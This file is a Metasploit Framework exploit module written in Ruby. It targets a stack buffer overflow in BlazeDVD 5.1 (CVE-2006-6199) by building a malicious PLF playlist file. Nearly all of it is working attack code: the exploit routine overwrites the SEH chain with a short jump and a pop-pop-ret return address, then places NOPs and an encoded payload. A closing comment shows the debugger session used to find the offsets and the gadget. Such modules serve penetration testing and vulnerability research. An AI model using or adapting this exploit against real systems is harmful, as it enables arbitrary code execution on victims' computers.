metasploit-framework/modules/exploits/windows/fileformat/blazedvd_plf.rb

89 lines
2.5 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'BlazeDVD 5.1 PLF Buffer Overflow',
'Description' => %q{
This module exploits a stack over flow in BlazeDVD 5.1. When
the application is used to open a specially crafted plf file,
a buffer is overwritten allowing for the execution of arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision:$',
'References' =>
[
[ 'CVE' , '2006-6199' ],
[ 'BID', '35918' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 750,
'BadChars' => "\x00",
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[ 'BlazeDVD 5.1', { 'Ret' => 0x100101e7 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Aug 03 2009',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf']),
], self.class)
end
def exploit
plf = rand_text_alpha_upper(6024)
plf[868,8] = Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2) + [target.ret].pack('V')
plf[876,12] = make_nops(12)
plf[888,payload.encoded.length] = payload.encoded
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(plf)
end
end
=begin
0:000> !exchain
0012f2c8: 31644230
Invalid exception stack at 64423963
0:000> !pattern_offset 6024 0x31644230
[Byakugan] Control of 0x31644230 at offset 872.
0:000> !pattern_offset 6024 0x64423963
[Byakugan] Control of 0x64423963 at offset 868.
0:000> s -b 0x10000000 0x10018000 5e 59 c3
100012cd 5e 59 c3 56 8b 74 24 08-57 8b f9 56 e8 a2 3c 00 ^Y.V.t$.W..V..<.
100101e7 5e 59 c3 90 90 90 90 90-90 8b 44 24 08 8b 4c 24 ^Y........D$..L$
0:000> u 0x100012cd L3
skinscrollbar!SkinSB_ParentWndProc+0x1fd:
100012cd 5e pop esi
100012ce 59 pop ecx
100012cf c3 ret
=end